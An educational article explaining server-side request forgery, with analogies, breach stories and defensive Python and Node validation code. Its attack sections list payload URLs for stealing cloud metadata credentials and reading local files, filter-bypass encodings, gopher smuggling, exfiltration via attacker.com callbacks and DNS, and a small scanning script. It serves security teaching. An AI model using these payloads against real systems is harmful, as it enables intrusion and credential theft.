#
Server-Side Request Forgery (SSRF) Attacks
CRITICAL SEVERITY CLOUD THREAT SERVER-SIDE
Imagine calling a receptionist at a secure building and asking them to read a confidential document on their desk over the phone - bypassing all the security guards at the front door. That's Server-Side Request Forgery (SSRF) in a nutshell.
SSRF is like using the server as your puppet. You can't access internal systems directly (they're behind firewalls), but you can trick the server into making requests for you - and the server has special access you don't have!
Simple Example: A website lets you enter a URL to download an image. You enter http://internal-database:5432 instead, and the server tries to connect to its own internal database, potentially leaking sensitive information back to you.
Rising Cloud Threat
SSRF attacks have exploded with cloud computing (AWS, Azure, Google Cloud). In 2019, Capital One lost 100 million customer records through SSRF. The attack is especially dangerous because it can access cloud metadata services that contain AWS credentials, database passwords, and API keys.
#
What is SSRF? (In Simple Terms)
Most companies have two types of systems:
- External/Public - Websites and services anyone can access
- Internal/Private - Databases, admin panels, cloud services (protected by firewalls)
Normal hackers can't reach internal systems - they're blocked by firewalls and security rules.
SSRF changes this. Instead of attacking internal systems directly, the hacker tricks the public server into making requests to internal systems. Since the server is "inside" the network, it has access to everything internal.
#
Real-World Analogies
You can't get past building security to read confidential files. But you call the receptionist (who IS inside) and say "Can you read me the contents of the document on the CEO's desk?" The receptionist has access, so they read it to you over the phone. You bypassed security by using an insider as your proxy.
You're not allowed in the VIP section of a club. But the waiter (server) can go anywhere. So you tell the waiter "Go to the VIP section and bring me whatever's in locker #5." The waiter does it because they're authorized - you get VIP access without being allowed in.
A castle has high walls you can't climb. But you give a messenger (who can enter freely) a note saying "Go to the armory and report back what weapons are stored there." The messenger has access, so they tell you everything - you just reconnaissance the castle without entering.
#
How SSRF Works (The Step-by-Step Story)
Let's see how a typical SSRF attack unfolds:
Scenario: Website with Image Upload Feature
Website has a feature: "Enter image URL to display"
User enters: https://example.com/photo.jpg
Server fetches the image and displays it
Hacker enters: http://localhost/admin
Server makes request to http://localhost/admin
Server returns admin panel HTML to hacker
Hacker now sees internal admin panel!
Hacker enters: http://192.168.1.5:5432
Server connects to internal database
Server returns error message revealing database info
Hacker enters: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Server fetches AWS credentials from metadata service
Hacker receives:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "..."
}
Hacker now has full AWS access!
What Just Happened
The hacker couldn't access these internal resources directly (firewalls blocked them). But by tricking the server into making requests, they bypassed all security and stole cloud credentials.
#
Types of SSRF Attacks
#
1. Basic SSRF (Internal Network Access)
COMMON NETWORK ACCESS
What it is: Accessing internal systems and services that are blocked from the internet.
Attack Example:
@app.route('/import-image')
def import_image():
url = request.args.get('url')
# VULNERABLE: No validation of URL
response = requests.get(url)
return response.content
http://yoursite.com/import-image?url=http://localhost:8080/admin
http://yoursite.com/import-image?url=http://192.168.1.100/
http://yoursite.com/import-image?url=http://internal-api.company.local/users
What Hacker Gets:
- Internal admin panels
- Internal API responses
- Database management interfaces
- Monitoring dashboards
#
2. Cloud Metadata SSRF (The Most Dangerous)
CRITICAL CREDENTIAL THEFT AWS/AZURE/GCP
What it is: Accessing cloud provider metadata services to steal credentials and sensitive information.
AWS Metadata Service:
Every EC2 instance can access:
http://169.254.169.254/latest/meta-data/
This contains:
- AWS access keys
- IAM role credentials
- Instance details
- User data scripts (often contain passwords)
Attack:
# Request to vulnerable website
http://website.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole
{
"Code": "Success",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "very-long-token-here",
"Expiration": "2024-01-01T00:00:00Z"
}
With These Credentials, Hacker Can:
- Access S3 buckets (download all data)
- Read databases (RDS)
- Spin up expensive EC2 instances (cost attack)
- Delete infrastructure
- Access secrets manager
- Pivot to other AWS services
Real Example - Capital One Breach (2019):
Hacker found SSRF vulnerability in web application firewall
Used it to access AWS metadata service
Stole credentials for IAM role
Used credentials to access S3 buckets
Downloaded 100 million customer records
Cost: $80 million fine, reputation damage
#
3. Blind SSRF
STEALTHY NO DIRECT RESPONSE
What it is: You can make the server send requests, but you can't see the responses directly.
How Hackers Exploit This:
# Hacker's malicious URL
http://website.com/fetch?url=http://internal-db/users?callback=http://attacker.com/log
# Server makes request to internal-db
# Server then sends results to attacker.com
# Hacker receives data on their server
# Test if internal service exists
http://website.com/fetch?url=http://192.168.1.5:80
If response is fast: Port is closed/filtered
If response is slow: Port is open (server is waiting for timeout)
# Hacker enters:
http://website.com/fetch?url=http://admin-password-is-secret123.attacker.com
# Server makes DNS query
# Hacker's DNS server logs the subdomain
# Hacker extracts "admin-password-is-secret123" from DNS logs
#
4. SSRF via File Protocols
FILE ACCESS LOCAL FILES
What it is: Using file:// protocol to read local files from the server.
Attack:
http://website.com/fetch?url=file:///etc/passwd
http://website.com/fetch?url=file:///var/www/html/config.php
http://website.com/fetch?url=file:///proc/self/environ
http://website.com/fetch?url=file:///C:/Windows/System32/drivers/etc/hosts
http://website.com/fetch?url=file:///C:/inetpub/wwwroot/web.config
What Hacker Gets:
- Configuration files with database passwords
- SSH private keys
- Application source code
- Environment variables
#
5. SSRF Chain Attacks
COMBINED ATTACK
What it is: Combining SSRF with other vulnerabilities for bigger impact.
Example: SSRF + Redis Exploit
# Many applications use Redis for caching
# Redis by default has no authentication on internal networks
# Use SSRF to access internal Redis
http://website.com/fetch?url=http://localhost:6379
# Send Redis commands via SSRF
# Can overwrite session data, inject backdoors, etc.
#
Real-World Attack Scenarios
#
Scenario 1: Capital One Data Breach (2019)
100M RECORDS $80M FINE
The Setup:
- Capital One used AWS EC2 instances
- Web Application Firewall (WAF) had SSRF vulnerability
- WAF could fetch URLs for security testing
The Attack:
Hacker found SSRF in WAF configuration endpoint
Made WAF fetch: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Received AWS credentials for IAM role
Used credentials to list S3 buckets
Downloaded 100 million customer records including:
- 140,000 Social Security numbers
- 80,000 bank account numbers
- Credit card data
The Damage:
- $80 million fine
- Lawsuits and settlements
- Massive reputation damage
- Hacker arrested (posted about it on GitHub!)
#
Scenario 2: Uber's Internal Tool Access (2016)
INTERNAL ACCESS ADMIN TOOLS
The Attack:
- Uber had internal admin tools
- Public-facing service had URL fetch feature
- No validation of internal IP ranges
Attack Flow:
Hacker used SSRF to access: http://internal-admin.uber.com
Found internal tools for:
- Driver verification
- User account management
- Payment systems
Gained access to rider and driver data
#
Scenario 3: Slack's SSRF Vulnerability (2017)
BOUNTY: $3.5K RESPONSIBLE DISCLOSURE
The Attack:
- Slack's link preview feature fetched URLs
- Researcher used SSRF to:
- Access AWS metadata
- Scan internal networks
- Find internal Slack services
Responsible Disclosure:
- Reported through bug bounty
- Slack fixed quickly
- Researcher received $3,500 reward
#
Scenario 4: Blind SSRF via PDF Generator
BLIND ATTACK
The Setup:
- Website generates PDFs from HTML
- Users can insert images in HTML
The Attack:
<!-- User-submitted HTML -->
<html>
<body>
<h1>My Invoice</h1>
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<img src="http://internal-db:5432">
<img src="http://192.168.1.1:80">
</body>
</html>
What Happens
- PDF generator fetches all images
- Makes requests to internal services
- Even if images aren't in final PDF, requests were made
- Hacker monitors their server logs to detect which internal IPs exist
#
Advanced SSRF Techniques
#
1. Bypassing URL Filters
FILTER EVASION
Filter: Block "localhost"
Bypass with:
- 127.0.0.1
- 127.1
- 127.0.1
- 0.0.0.0
- 0
- [::1] (IPv6)
- localhost.com (if you control this domain)
Filter: Block "192.168.x.x"
Bypass with:
- Decimal: http://3232235521 (converts to 192.168.0.1)
- Hexadecimal: http://0xC0A80001
- Octal: http://0300.0250.0000.0001
- Mixed: http://192.168.0x00.0x01
Filter: Block specific domains
Bypass with:
- DNS rebinding
- Open redirects
- URL shorteners
- Different encodings
#
2. Protocol Smuggling
ALTERNATIVE PROTOCOLS
Using Different Protocols:
file:///etc/passwd
file:///var/www/html/config.php
dict://localhost:11211/stats
gopher://localhost:6379/...
gopher://localhost:70/
ldap://localhost:389/
tftp://internal-server/config
Gopher Protocol (Powerful):
Can send custom HTTP requests:
gopher://internal-api:80/_GET%20/admin%20HTTP/1.1%0AHost:%20internal-api
#
3. DNS Rebinding
TIME-OF-CHECK-TIME-OF-USE
How It Works:
Hacker sets up domain: evil.com
First DNS query returns: 1.2.3.4 (safe IP)
Website checks: "1.2.3.4 is OK"
Website makes request
Second DNS query returns: 192.168.1.1 (internal IP)
Website connects to internal IP
SSRF achieved!
#
4. Redirect Chains
FOLLOW REDIRECTS
Attack:
# Your malicious site
http://evil.com/redirect
# Redirects to:
http://169.254.169.254/latest/meta-data/
Redirect Following
If website follows redirects, SSRF succeeds!
#
Detection and Prevention
#
1. Input Validation and Sanitization
PRIMARY DEFENSE
Validate URLs Properly:
from urllib.parse import urlparse
import ipaddress
def is_safe_url(url):
"""Check if URL is safe to fetch"""
try:
parsed = urlparse(url)
# Only allow HTTP/HTTPS
if parsed.scheme not in ['http', 'https']:
return False
# Get hostname
hostname = parsed.hostname
if not hostname:
return False
# Resolve hostname to IP
import socket
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
# Block private/internal IPs
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
return False
# Block cloud metadata
if ip == '169.254.169.254':
return False
# Block reserved ranges
if ip_obj.is_reserved:
return False
return True
except Exception:
return False
# Usage
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
if not is_safe_url(url):
return "Invalid URL", 400
response = requests.get(url, timeout=5)
return response.content
const url = require('url');
const dns = require('dns').promises;
const { isIP } = require('net');
async function isSafeURL(urlString) {
try {
const parsed = new URL(urlString);
// Only HTTP/HTTPS
if (!['http:', 'https:'].includes(parsed.protocol)) {
return false;
}
const hostname = parsed.hostname;
// Resolve to IP
const addresses = await dns.resolve4(hostname);
const ip = addresses[0];
// Block private ranges
const privateRanges = [
/^127\./, // Loopback
/^10\./, // Private
/^172\.(1[6-9]|2[0-9]|3[0-1])\./, // Private
/^192\.168\./, // Private
/^169\.254\./, // Link-local (cloud metadata!)
];
for (const range of privateRanges) {
if (range.test(ip)) {
return false;
}
}
return true;
} catch (error) {
return false;
}
}
// Usage
app.get('/fetch', async (req, res) => {
const url = req.query.url;
if (!await isSafeURL(url)) {
return res.status(400).send('Invalid URL');
}
const response = await fetch(url);
const data = await response.text();
res.send(data);
});
#
2. Use Allowlists, Not Blocklists
RECOMMENDED
# Block known bad domains
blocked = ['localhost', '127.0.0.1', '192.168.']
if any(bad in url for bad in blocked):
return "Blocked"
# Easy to bypass!
# Only allow specific domains
allowed_domains = [
'example.com',
'api.partner.com',
'cdn.trusted.net'
]
parsed = urlparse(url)
if parsed.hostname not in allowed_domains:
return "Only specific domains allowed"
#
3. Network Segmentation
INFRASTRUCTURE
Infrastructure Setup:
Internet
↓
[DMZ - Web Servers]
↓ (Firewall)
[Internal Network]
↓
[Database, Internal APIs]
Firewall Rules:
# Web servers CANNOT access:
- Cloud metadata (169.254.169.254)
- Internal IP ranges (192.168.x.x, 10.x.x.x)
- Localhost (127.0.0.1)
- Other internal services
# Even if SSRF exists, firewall blocks it
#
4. Disable Unnecessary Protocols
PROTOCOL RESTRICTION
# Python requests - disable dangerous protocols
import requests
# Create custom session
session = requests.Session()
# Remove unnecessary adapters
session.mount('file://', None) # Block file:// protocol
session.mount('ftp://', None) # Block FTP
session.mount('gopher://', None) # Block gopher
# Only HTTP/HTTPS remain
response = session.get(user_url)
#
5. Use Cloud IMDSv2 (AWS)
AWS PROTECTION
AWS Metadata V2 requires token-based auth:
curl http://169.254.169.254/latest/meta-data/
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled
Why This Helps
SSRF attacks can't set custom headers easily, so they can't get the token.
#
6. Response Validation
OUTPUT FILTERING
def fetch_url_safely(url):
# Validate URL first
if not is_safe_url(url):
raise ValueError("Unsafe URL")
response = requests.get(url, timeout=5)
# Validate response
# Don't return raw internal responses to user
if 'application/json' in response.headers.get('Content-Type', ''):
# Parse and filter JSON
data = response.json()
# Only return safe fields
return {'title': data.get('title')}
# For images, validate it's actually an image
if response.headers.get('Content-Type', '').startswith('image/'):
from PIL import Image
import io
try:
Image.open(io.BytesIO(response.content))
return response.content
except:
raise ValueError("Not a valid image")
raise ValueError("Unexpected content type")
#
Testing for SSRF Vulnerabilities
#
Manual Testing Checklist
TESTING GUIDE
Look for features that:
- Fetch external resources (images, PDFs, etc.)
- Webhooks
- URL parsers
- Link previews
- File imports from URL
- RSS/Atom feed readers
http://yoursite.com/fetch?url=http://example.com
If it works, move to next step.
# Localhost
http://yoursite.com/fetch?url=http://localhost
http://yoursite.com/fetch?url=http://127.0.0.1
# Cloud metadata
http://yoursite.com/fetch?url=http://169.254.169.254/latest/meta-data/
# Internal IPs
http://yoursite.com/fetch?url=http://192.168.1.1
http://yoursite.com/fetch?url=http://10.0.0.1
http://yoursite.com/fetch?url=http://2130706433 (127.0.0.1 in decimal)
http://yoursite.com/fetch?url=http://0x7f000001 (127.0.0.1 in hex)
http://yoursite.com/fetch?url=file:///etc/passwd
http://yoursite.com/fetch?url=dict://localhost:11211/stats
http://yoursite.com/fetch?url=gopher://localhost:70/
#
Automated Tools
python3 ssrfmap.py -r request.txt -p url -m readfiles
# Extensions:
- Burp Collaborator (detect blind SSRF)
- Param Miner (find hidden parameters)
import requests
target = "http://vulnerable-site.com/fetch"
test_urls = [
"http://localhost",
"http://127.0.0.1",
"http://169.254.169.254/latest/meta-data/",
"http://192.168.1.1",
"file:///etc/passwd",
]
for test_url in test_urls:
try:
response = requests.get(target, params={'url': test_url}, timeout=5)
if response.status_code == 200:
print(f"[VULNERABLE] {test_url}")
print(f"Response: {response.text[:100]}")
else:
print(f"[BLOCKED] {test_url}")
except Exception as e:
print(f"[ERROR] {test_url}: {e}")
#
Summary: What You Need to Remember
Server-Side Request Forgery (SSRF) tricks a server into making requests to internal systems that are normally protected by firewalls. Like using a receptionist to read confidential documents you can't access yourself, SSRF uses the server as a proxy to access internal resources.
The Simple Version:
- What it is: Tricking the server into fetching internal URLs for you - bypassing firewalls
- Why it's dangerous: Can steal cloud credentials, access internal databases, scan internal networks
- How to prevent it: Validate URLs, block internal IP ranges, use network segmentation
Real-World Impact:
- Capital One: 100 million records stolen, $80M fine (2019)
- Uber: Internal admin tools accessed (2016)
- Common in cloud environments (AWS, Azure, GCP)
Most Dangerous Target: Cloud metadata services (169.254.169.254) containing AWS/Azure credentials
#
Quick Protection Checklist
For Website Owners & Developers:
DO Validate and sanitize all URLs before fetching DO Block private IP ranges (127.x, 192.168.x, 10.x, 169.254.x) DO Use allowlists for permitted domains DO Disable unnecessary protocols (file://, gopher://, etc.) DO Enable AWS IMDSv2 to protect metadata service DO Implement network segmentation DO Resolve hostname to IP and check if it's internal
DON'T Trust user-provided URLs without validation DON'T Use blocklists (easy to bypass with encoding) DON'T Return raw internal responses to users DON'T Allow all protocols (file, gopher, dict, etc.) DON'T Let public servers access sensitive internal systems
For Cloud Users:
TIP Enable IMDSv2 on all AWS EC2 instances TIP Use IAM roles with minimal permissions TIP Monitor for unusual internal requests TIP Segment networks - web servers shouldn't access databases directly
#
Additional Resources
Learn More
Layerd AI Guardian Proxy can detect and block SSRF attempts by monitoring outbound requests and blocking access to internal IP ranges and cloud metadata services. Learn more →
Last updated: November 2025